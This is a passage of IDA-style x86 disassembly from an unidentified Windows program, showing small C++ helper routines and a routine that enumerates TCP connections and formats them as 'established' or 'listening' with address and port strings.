		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418D80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418E40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418E90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418FA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D84
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D80
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D74
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D74
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D70
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		call	near ptr 27E0716h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
sub_4198C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E5C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE5C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E5C


